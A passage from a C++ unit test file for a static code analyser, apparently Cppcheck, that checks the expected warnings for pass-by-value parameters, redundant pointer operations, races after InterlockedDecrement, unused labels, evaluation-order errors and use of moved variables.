a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n 